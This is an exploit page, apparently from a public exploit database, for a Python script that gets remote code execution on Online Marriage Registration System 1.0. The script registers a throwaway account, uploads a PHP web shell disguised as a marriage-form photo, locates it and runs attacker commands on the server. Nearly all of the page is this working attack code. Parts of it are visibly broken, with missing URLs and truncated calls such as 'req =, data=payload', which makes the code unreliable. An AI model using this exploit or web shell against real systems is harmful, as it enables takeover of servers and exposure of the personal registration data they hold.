Online Marriage Registration System (OMRS) 1.0 Remote code execution (3)

Credit: Ricardo Ruiz
Risk: High
Local: No
Remote: Yes

# Exploit Title: Online Marriage Registration System (OMRS) 1.0 - Remote code execution (3) # Date: 10/02/2021 # Exploit Author: Ricardo Ruiz (@ricardojoserf) # Vendor Homepage: # Software Link: # Version: 1.0 # Tested on: Windows 10/Xampp Server and Wamp Server # Porting an existing exploit (, for macOs) to Linux/Windows. Adding the possibility of automatic registration and execution of any command without needing to upload any local file # Example with registration: python3 -u -c 'whoami' # Example without registration: python3 -u -c 'whoami' -m 680123456 -p dante123 import os import sys import random import argparse import requests def get_args(): parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, action='store', help='Url of Online Marriage Registration System (OMRS) 1.0') parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute') parser.add_argument('-m', '--mobile', required=False, action='store', help='Mobile phone used for registration') parser.add_argument('-p', '--password', required=False, action='store', help='Password used for registration') my_args = parser.parse_args() return my_args def login(url, mobile, password): url = "%s/user/login.php"%(url) payload = {'mobno':mobile, 'password':password, 'login':''} req =, data=payload) return req.cookies['PHPSESSID'] def upload(url, cookie, file=None): url = "%s/user/marriage-reg-form.php"%url files = {'husimage': ('shell.php', "<?php $command = shell_exec($_REQUEST['cmd']); echo $command; ?>", 'application/x-php', {'Expires': '0'}), 'wifeimage':('test.jpg','','image/jpeg')} payload = {'dom':'05/01/2020','nofhusband':'omrs_rce', 'hreligion':'omrs_rce', 'hdob':'05/01/2020','hsbmarriage':'Bachelor','haddress':'omrs_rce','hzipcode':'omrs_rce','hstate':'omrs_rce','hadharno':'omrs_rce','nofwife':'omrs_rce','wreligion':'omrs_rce','wsbmarriage':'Bachelor','waddress':'omrs_rce','wzipcode':'omrs_rce','wstate':'omrs_rce','wadharno':'omrs_rce','witnessnamef':'omrs_rce','waddressfirst':'omrs_rce','witnessnames':'omrs_rce','waddresssec':'omrs_rce','witnessnamet':'omrs_rce','waddressthird':'omrs_rce','submit':''} req =, data=payload, cookies={'PHPSESSID':cookie}, files=files) print('[+] PHP shell uploaded') def get_remote_php_files(url): url = "%s/user/images"%(url) req = requests.get(url) php_files = [] for i in req.text.split(".php"): php_files.append(i[-42:]) return php_files def exec_command(url, webshell, command): url_r = "%s/user/images/%s?cmd=%s"%(url, webshell, command) req = requests.get(url_r) print("[+] Command output\n%s"%(req.text)) def register(mobile, password, url): url_r = "%s/user/signup.php"%(url) data = {"fname":"omrs_rce", "lname":"omrs_rce", "mobno":mobile, "address":"omrs_rce", "password":password, "submit":""} req =, data=data) print("[+] Registered with mobile phone %s and password '%s'"%(mobile,password)) if __name__ == "__main__": args = get_args() url = args.url command = args.command mobile = str(random.randint(100000000,999999999)) if is None else password = "dante123" if args.password is None else args.password if args.password is None or is None: register(mobile,password,url) cookie = login(url, mobile, password) initial_php_files = get_remote_php_files(url) upload(url, cookie) final_php_files = get_remote_php_files(url) webshell = (list(set(final_php_files) - set(initial_php_files))[0]+".php") exec_command(url,webshell,command)

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